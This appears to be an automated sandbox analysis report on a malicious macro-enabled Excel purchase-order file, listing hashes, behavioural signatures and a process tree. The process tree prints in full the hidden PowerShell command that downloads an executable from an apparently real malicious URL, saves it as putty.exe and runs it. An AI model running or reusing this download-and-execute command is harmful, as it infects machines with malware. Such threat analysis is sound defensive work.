Analysis
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max time kernel
150s -
max time network
142s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
10-07-2020 07:10
Static task
static1
Behavioral task
behavioral1
Sample
PO-9103829.xlsm
Resource
win7
Behavioral task
behavioral2
Sample
PO-9103829.xlsm
Resource
win10v200430
General
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Target
PO-9103829.xlsm
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Size
92KB
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MD5
14133d71179bdf6257a18dc9808a92d5
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SHA1
8a74705278d267865391e10a104701eed9438fa2
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SHA256
15df82f880bb2cdf16b953132f7dd0a80195bd266a98d32b7965391c0f6c08da
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SHA512
f4e0c6d2921a2fa2fd0387c522e8c06161870b7c5ae7167b4e95136cdcdeb4ea14afa59e19c975fe57be1e86d4b39d3d264558e2721da4d108893787f0277b71
Malware Config
Extracted
http://manikmeyah.net/wp-content/mu-plugins/unl.exe
Signatures
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Executes dropped EXE 1 IoCs
Processes:
putty.exepid Process 3812 putty.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid Process 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE 2564 EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid Process 2564 EXCEL.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2316 2564 powershell.exe 65 -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exeWerFault.exedescription pid Process Token: SeDebugPrivilege 2316 powershell.exe Token: SeRestorePrivilege 3692 WerFault.exe Token: SeBackupPrivilege 3692 WerFault.exe Token: SeDebugPrivilege 3692 WerFault.exe -
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeWerFault.exepid Process 2316 powershell.exe 2316 powershell.exe 2316 powershell.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe 3692 WerFault.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
EXCEL.EXEpowershell.exedescription pid Process procid_target PID 2564 wrote to memory of 2316 2564 EXCEL.EXE 70 PID 2564 wrote to memory of 2316 2564 EXCEL.EXE 70 PID 2316 wrote to memory of 3812 2316 powershell.exe 74 PID 2316 wrote to memory of 3812 2316 powershell.exe 74 PID 2316 wrote to memory of 3812 2316 powershell.exe 74 -
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid Process 15 2316 powershell.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target Process procid_target 3692 3812 WerFault.exe 74
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO-9103829.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:2564 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://manikmeyah.net/wp-content/mu-plugins/unl.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')2⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
PID:2316 -
C:\Users\Admin\AppData\Local\Temp\putty.exe"C:\Users\Admin\AppData\Local\Temp\putty.exe"3⤵
- Executes dropped EXE
PID:3812 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 8684⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:3692
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